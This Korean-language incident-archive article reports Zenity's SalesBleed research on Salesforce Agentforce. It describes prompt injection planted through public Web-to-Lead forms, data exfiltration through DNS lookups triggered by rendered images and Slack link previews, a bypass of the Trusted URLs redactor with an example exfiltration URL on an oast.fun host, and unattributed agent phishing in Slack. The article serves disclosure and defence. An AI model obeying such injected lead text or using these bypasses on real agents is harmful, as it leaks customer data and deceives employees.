SalesBleed: 공개 리드 1건, Agentforce 결함 3가지, 클릭 0회

2026년 9월 24일, Zenity Labs는 SalesBleed라는 연구 결과를 발표했습니다. 이는 Salesforce Agentforce—CRM 공급업체가 AI 에이전트를 구축하고 배포하기 위한 플랫폼—에 존재하는 세 가지 취약점으로, 외부인이 기업의 Salesforce org에서 고객 기록을 빼낸 뒤 해당 기업 자체의 에이전트를 이용해 직원을 피싱할 수 있게 합니다. 세 가지 중 두 가지는 기업 내부의 누구도 클릭할 필요가 없습니다. 이 노출은 Web-to-Lead 제출을 허용하는 Agentforce 테넌트와 테넌트가 Slack에 게시한 모든 에이전트에 적용됩니다. Dark Reading은 CVE 식별자가 할당되지 않았다고 보도했으며, Salesforce는 어떤 고객에 대한 악용 증거도 없다고 해당 매체에 밝혔습니다. 아카이브 자체의 신뢰 등급 및 피해 상태가 포함된 전체 기록은 Orca AI Incident Archive에 있으며, 이 아카이브는 문서화된 각 에이전트 사고를 인용 출처와 함께 기록합니다.

공개 리드 양식이 어떻게 데이터 채널이 되는가

Web-to-Lead는 Salesforce의 공식 리드 수집 메커니즘이며, 설계상 인증이 필요 없습니다. 즉, 인터넷상의 누구나 양식을 제출하면 그 내용이 고객의 CRM에 들어가도록 하기 위해 존재합니다. Alex Apostolov와 동료들의 이름으로 올라간 Zenity의 첫 번째 게시물은 바로 그 점을 전체 진입 조건으로 삼아 시작합니다. 정지할 계정도, 취소할 세션도, 탐지할 로그인 이벤트도 없습니다. 공격자는 테넌트를 전혀 건드리지 않습니다.

연구자들이 설명하는 연쇄는 다섯 단계로 전개된다:

• 공격자는 공개 Web-to-Lead 엔드포인트를 통해 리드를 제출하며, 해당 필드 중 하나에 숨겨진 프롬프트 인젝션이 포함되어 있습니다. 이는 평범한 문의처럼 보입니다.

• 리드는 직원이 자신의 에이전트에게 지극히 평범한 것을 요청할 때까지 그대로 남아 있습니다 — Zenity의 예시는 "내 최신 리드를 확인하고 가장 최근 것 하나를 도와줘"입니다.

• 에이전트는 오염된 레코드를 읽고 그 안의 지침을 따르며, 기본 General CRM 서브에이전트가 이미 보유한 Query Records 도구를 사용해 Accounts 테이블을 쿼리합니다. Zenity는 권한 상승이 필요하지 않았다고 명시합니다. 동일한 서브에이전트는 Leads와 Accounts 모두에 대한 읽기 액세스 권한과 함께 제공되며, 이는 오구성이 아니라 기본값입니다.

• 검색한 값들, 즉 연구자들의 예시에서는 회사 이름과 거래 규모를 공격자가 제어하는 호스트 이름의 하위 도메인에 기록하고, 그 결과를 HTML 이미지 태그로 사용자에게 다시 출력합니다.

• 채팅 화면은 외부 이미지 소스를 정화나 확인 단계 없이 렌더링하므로 클라이언트가 호스트 이름을 해석합니다. 데이터는 DNS 쿼리 안에 담겨 외부로 유출됩니다.

마지막 단계는 잠시 속도를 늦춰 볼 가치가 있는 부분이다. 페이로드가 DNS 조회를 통해 이동하기 때문에, 뒤따르는 HTTP 요청은 무관하다 — 실패하거나 시간 초과되거나 아예 차단되더라도 데이터는 이미 빠져나간 뒤다. Zenity는 이것이 HTTP 이그레스 제어에서도 살아남는다고 지적한다. DNS 레이블 하나는 최대 63자, 전체 이름은 253자로 제한되므로 한 번의 제출로는 한 조각만 유출된다. 연구자들은 반복 요청을 통해 Accounts 테이블 전체를 한 계정씩 빼내는 방법을 설명하는데, 이름에 있는 "bleed"가 바로 여기서 나온다.

더 적은 것만으로 충분한 두 번째 경로도 있습니다. Slack에 게시되는 에이전트의 경우 이미지 태그가 필요하지 않습니다. Slack은 원시 URL을 미리보기로 전환하고 링크를 크롤링하여 미리보기를 생성하므로, URL을 출력하는 것만으로도 동일한 DNS 조회를 유발하기에 충분합니다. SecurityWeek는 그 결과 나타나는 동작에 대한 Zenity의 요약을 인용합니다. 즉, 링크가 나타나는 즉시 Slack이 CRM 데이터를 담은 요청을 공격자가 통제하는 인프라로 보낸다는 것입니다.

Zenity는 여기서 "제로 클릭"이 무엇을 의미하는지 신중하게 다루며, 그 구분은 중요합니다. 직원은 단 한 가지 일만 합니다. 자신의 에이전트에게 자신의 리드에 관한 평범한 질문을 던집니다. 직원은 첨부 파일을 열지도, 링크를 따르지도, 공격자가 보낸 어떤 것과도 상호작용하지 않습니다. 그 질문 이후의 모든 것은 자동으로 이루어집니다. 악성 리드 역시 다른 레코드처럼 Leads 테이블에 그대로 남아 있어, 직원이 그것을 검토할 때마다 다시 발동할 수 있습니다. 더 넓은 채널을 원하는 공격자는 리드를 더 제출하기만 하면 됩니다. SecurityWeek는 실패를 더욱 선명하게 만드는 세부 사항을 기록합니다. Agentforce는 해당 콘텐츠가 조직의 보안 정책에 의해 차단되었다고 보고했지만, CRM 데이터는 이미 공격자의 서버에 도달한 뒤였습니다.

Trusted URLs 필터가 유지되지 않은 이유

Trusted URLs는 바로 이런 상황을 막기 위해 만들어진 Salesforce의 제어 기능입니다. Agentforce가 접근할 수 있는 외부 목적지를 제한하고, 아무도 승인하지 않은 도메인을 가리키는 링크와 이미지를 제거합니다. Zenity는 두 가지 엣지 케이스를 발견했는데, 이 둘이 결합되자 이 기능을 그대로 통과해 버렸습니다.

첫 번째는 최상위 도메인이었습니다. 리댁터는 고정된 TLD 목록만 인식했고, app.interactsh.com 아웃오브밴드 테스트 플랫폼에서 사용하는 도메인인 .fun은 그 목록에 없었습니다. 인식되지 않는 TLD로 끝나는 호스트명은 호스트명으로 아예 인식되지 않을 수 있습니다. 두 번째는 URL이 끝나는 지점이었습니다. 리댁터와 답변을 렌더링하는 표면은 종료 문자에 대해 서로 다르게 판단했고, 중괄호와 대괄호가 그 간극에 있었습니다. https://random_string.oast.fun/{email} 같은 문자열은 RFC 3986에 따라 유효한 URI가 아니지만, 그래도 공격에 필요한 DNS 쿼리를 생성합니다. 리댁터는 형식이 잘못된 비-URL로 보고 그대로 두었지만, 브라우저는 이를 이미지 소스로 가져오려 했습니다.

한 가지 구조적 세부 사항 덕분에 우회가 조정 가능해졌다. 레드액션은 에이전트가 출력을 생성한 뒤에, 모델이 전혀 알지 못하는 별도 프로세스로 실행된다. Zenity는 클라이언트로 전송된 응답에 에이전트의 원시 출력과 레드액션된 버전이 모두 존재한다는 점을 발견했고, 이에 따라 연구자들은 둘을 비교해 필터가 잡아내던 이상 요소들—예를 들어 서브도메인의 대괄호—을 제거하여 주입이 처음부터 끝까지 안정적으로 작동할 때까지 조정할 수 있었다.

Dark Reading은 Salesforce의 URL 마스킹이 지금까지 문자열이 URL처럼 보이는지 판단하기 위해 정규식 일치에 의존해 왔으며, 이 때문에 예상치 못한 형식으로 도메인이 숨겨질 수 있었다고 보도했다. 이 회사는 이를 명세를 준수하는 URL 파싱으로 대체했고, 모든 URL 관련 에이전트 트래픽이 이제 단일 게이트웨이를 통과하도록 URL 검사를 통합했다고 밝혔다.

세 번째 결함: 에이전트 자신의 이름으로 이루어지는 피싱

João Donato와 동료들이 저자로 표기된 두 번째 게시물에서 같은 날 발표된 Slack 관련 발견은 데이터가 아니라 아이덴티티에 관한 것이다. Agentforce 에이전트는 Slack에 직접 게시될 수 있으며, 그 기능은 서브에이전트로 제공된다. Zenity는 Slack Knowledge 템플릿이 모든 액션을 포함해 두 번의 클릭으로 추가될 수 있다고 지적한다.

연구진이 조사한 대부분의 Slack 쓰기 작업에는 두 가지 보호 장치가 있었습니다. 전송 전 확인 단계와, 수신자에게 어느 사용자의 요청으로 메시지가 발송되었는지 알려주는 호출자 귀속 정보입니다. Send a Slack Direct Message에는 두 가지 모두 있었습니다. Reply to a Slack Thread에는 둘 다 없었습니다. Agentforce가 해당 작업을 호출하기로 결정하자 메시지는 승인도, 귀속 정보도 없이 전송되었습니다. 메시지에는 에이전트의 신원만 담겨 있었을 뿐, 누가 요청했는지를 가리키는 정보는 전혀 없었습니다.

그로 인해 두 가지 공격 경로가 생겼다. 이미 에이전트와 채팅할 수 있는 악의적인 내부자는 알맞은 스레드에 피싱 메시지를 올린 뒤 자신에게 추적될 단서를 남기지 않고 빠져나갈 수 있다. 수신자들이 이를 에이전트가 보낸 메시지로 읽기 때문이다. 외부 공격자는 Web-to-Lead 인젝션을 통해 같은 결과를 얻는다. 오염된 리드가 에이전트에게 Slack 채널로 답장하라고 지시하면, 에이전트는 이를 트리거한 직원에게 묻지도 않고 그대로 수행한다. 첫 번째 게시물의 URL 리다크션 우회는 피싱 링크가 필터링을 통과해 살아남게 하는 원인이다. Zenity는 이후 링크가 겉보기에 무해한 마크다운 텍스트 뒤에 숨겨질 수도 있음을 발견했다. Zenity와 Salesforce는 모두 그 결과를 같은 방식으로 규정한다. 직원들은 낯선 외부 발신자가 아니라 이미 자신의 업무 환경 안에서 작동 중인 신뢰할 수 있는 시스템으로부터 메시지를 받으며, 링크를 따라가 자격 증명을 넘겨주는 사람은 이메일, Slack, 소스 코드 저장소, 그리고 그 신원이 접근할 수 있는 모든 것을 노출하게 된다.

무엇이 확립되었고, 무엇이 그렇지 않은가

여기에서 검토한 출처 전반에 걸쳐 네 가지 점이 확정된다. Zenity는 공격 체인을 시연하고 개념 증명 영상을 공개했다. Salesforce는 해당 분석을 인정하고 자사가 수행한 변경 사항을 설명했다 — Dark Reading과 SecurityWeek에 보낸 성명에서. 세 가지 결함 중 어디에도 CVE가 부여되지 않았으며, Dark Reading은 그 이유를 수정이 고객이 실행하는 소프트웨어가 아니라 호스팅 서비스의 Salesforce 측에서 이루어졌기 때문이라고 본다. 그리고 Salesforce는 현재로서는 그것이 고객을 대상으로 악용되었다는 증거가 없다고 밝혔다.

확정되지 않은 것은 규모에 관한 모든 사항이다. 여기서 검토한 어떤 출처도 영향을 받은 기본값을 사용한 Agentforce 테넌트가 몇 개인지, 고객 데이터가 실제로 고객 환경을 벗어난 적이 있는지, 또는 Zenity Labs와 Salesforce 외부의 누군가가 이를 조사했는지 밝히지 않는다. 독립 매체인 Dark Reading, SecurityWeek, Infosecurity Magazine, The Register는 각각 이 발견 사항을 보도하고 Salesforce의 대응을 전했지만, 그 보도 중 어느 것도 자체적인 공격 재현을 보고하지 않는다. SalesBleed에 대한 두 번째 독립 기술 조사는 존재하지 않으며, 이 기사는 그런 조사가 있다고 암시하지 않는다.

해당 기록이 인용한 자료들 자체도 한 가지 세부 사항에서 서로 어긋나는데, 이는 얼버무리기보다 차라리 명확히 짚고 넘어갈 만한 부분이다. 9월 24일 Business Wire를 통해 배포된 Zenity의 보도자료에 따르면, Salesforce는 Zenity가 신고한 특정 Trusted URLs 우회 문제를 "약 2주 이내에" 해결했다고 한다. 반면 Zenity의 기술 블로그 글에 담긴 일자별 타임라인은 신고서가 전송된 6월 1일부터 수정이 확인된 8월 18일과 19일까지 이어지는데, 이는 11주에 가깝다. 두 설명 모두 같은 조직에서 나온 것이다.

Salesforce가 무엇을, 언제 변경했는지

취약점 공개는 오래 걸렸고, Zenity의 설명에 따르면 원만하게 진행됐다. 조사 결과는 2026년 6월 1일 이메일로 Salesforce에 전달됐다. Salesforce는 다음 날 이를 확인하고 수정 작업 중이라고 밝혔다. 두 팀은 6월 16일 기술 통화를 진행했고, Salesforce는 6월 17일 엔지니어링 팀이 여전히 작업 중이라고 언급하며 공개 건을 종료했다. 8월 18일 Salesforce는 수정 사항을 확인했고, 8월 19일 Zenity는 특히 Trusted URLs 우회를 검증했다. Slack 작업의 어트리뷰션은 8월 20일 수정된 것으로 확인됐다. 기본적으로 확인을 요구하는 사항은 더 오래 걸렸다. 8월 25일 Salesforce는 여전히 작업 중이라고 밝혔고, 9월 10일에는 9월 21일을 목표로 제시했으며, 9월 21일 Zenity가 세 가지 모두를 테스트하고 확인했다.

Salesforce가 설명하는 변경 사항은 구체적입니다. Slack의 특정 Agentforce 작업에 대한 기본 설정은 이제 메시지가 전송되기 전에 사용자 확인을 요구하며, 회사는 고객의 구성을 검토하기 위해 고객에게 직접 연락하고 있다고 밝혔습니다. Trusted URLs에서는 정규식 매칭이 사라지고 사양을 준수하는 파싱이 채택되었으며, URL 검사는 워크플로의 여러 지점에서 처리되는 대신 하나의 게이트웨이로 통합되었습니다.

Zenity가 Slack 수정 사항에 대해 남긴 마지막 언급은 완전 해결이 아니라 일종의 주의 사항이다. 확인 요구 사항은 하나의 설정이며, 끄는 데 클릭 한 번이면 충분하다. 일단 꺼지면 동일한 공격 경로가 다시 열린다. 에이전트를 구축하는 조직에 대한 연구진의 조언은 기본값이 유지된다고 가정하지 말고 쓰기 작업이 어떻게 구성되는지 주의 깊게 살펴보라는 것이다.

연구자들이 이것이 일반화된다고 말하는 이유

세부 사항이 Salesforce에 특화되어 있긴 하지만, Zenity는 SalesBleed를 하나의 패턴이 나타난 사례로 규정한다. 자체 요약에 따르면, 외부 소스가 제출한 레코드를 읽고, 사용자에게 링크나 이미지를 다시 렌더링하며, 민감한 데이터에 대한 도구 접근 권한까지 보유한 모든 에이전트는 동일한 세 가지 요소를 같은 위치에 갖는다. 연구진은 이 조합을 치명적 삼중주(lethal trifecta)의 한 형태라고 부른다. 즉 사적 데이터, 신뢰할 수 없는 콘텐츠, 외부로 나가는 채널이 하나의 아이덴티티에서 만나는 것이다.

이 패턴은 해당 지역에서 전례가 있다. Dark Reading은 SalesBleed가 발생하기 1년 전, Noma Security 연구원들이 동일한 Web-to-lead 경로를 사용해 Salesforce 데이터에 접근했으며, Salesforce가 URL 규칙을 강화하는 것으로 대응했다고 보도했다. 즉, Zenity가 이후 우회한 정규식 기반 마스킹이었다. Salesforce 대변인은 Dark Reading에 이전 대응은 포괄적인 해결책이 아니라 임시방편이었다고 인정했으며, 이번 대응은 더 견고하도록 의도된 것이라고 말했다.

"우리는 Agentforce가 기업 데이터를 승인되지 않은 목적지로 전송하지 못하도록 설계된 보안 경계를 우회하는 여러 가지 방법을 발견했습니다"라고 Zenity의 공동 창업자 겸 최고기술책임자인 마이클 바구리(Michael Bargury)가 보도자료에서 말했다. "강력한 경계는 AI 에이전트를 통제하기 위해 우리가 가진 가장 강력한 도구 중 하나로 남아 있지만, 그것 역시 소프트웨어일 뿐입니다. 그 통제가 실패하면, 우리에게 남는 것은 높은 자율성과 아무런 제한도 없는 특권 접근 권한을 지닌 에이전트입니다." Zenity의 보안 연구 책임자인 타미르 이샤이 샤르바트(Tamir Ishay Sharbat)는 Dark Reading에 더 넓은 요점을 전했다. 에이전트에 더 많은 권한이 부여될수록 더 위험해지며, 스스로 여러 채널에 메시지를 보낼 수 있으면서 동시에 계약서, 잠재 고객 또는 미지급금을 읽을 수 있는 에이전트는 악용될 수밖에 없는 조합이라는 것이다. 바구리는 같은 매체에 두 번째 우려도 덧붙였다. 에이전트가 블랙박스로 구축되어 로그 대신 요약만 제공되기 때문에 에이전트가 무엇을 했는지, 왜 그렇게 했는지 파악하기 어렵다는 점이다.

이 기록을 시연에서 사건으로 옮길 것은 새로운 기법이 아니라 증거, 즉 고객의 공개, CVE, 또는 해당 체인들이 실제로 사용되는 것이 확인되었다는 Salesforce나 Zenity의 성명입니다. 여기에서 검토한 출처에는 그중 어느 것도 존재하지 않습니다. 그중 하나라도 나오기 전까지 SalesBleed는 아카이브가 기록한 그대로 — 발견자들이 신뢰도 A 등급 기준으로 문서화했고 공급업체가 수정되었음을 확인했으며 기록된 실제 피해는 없는 고심각도 취약점 — 으로 남습니다.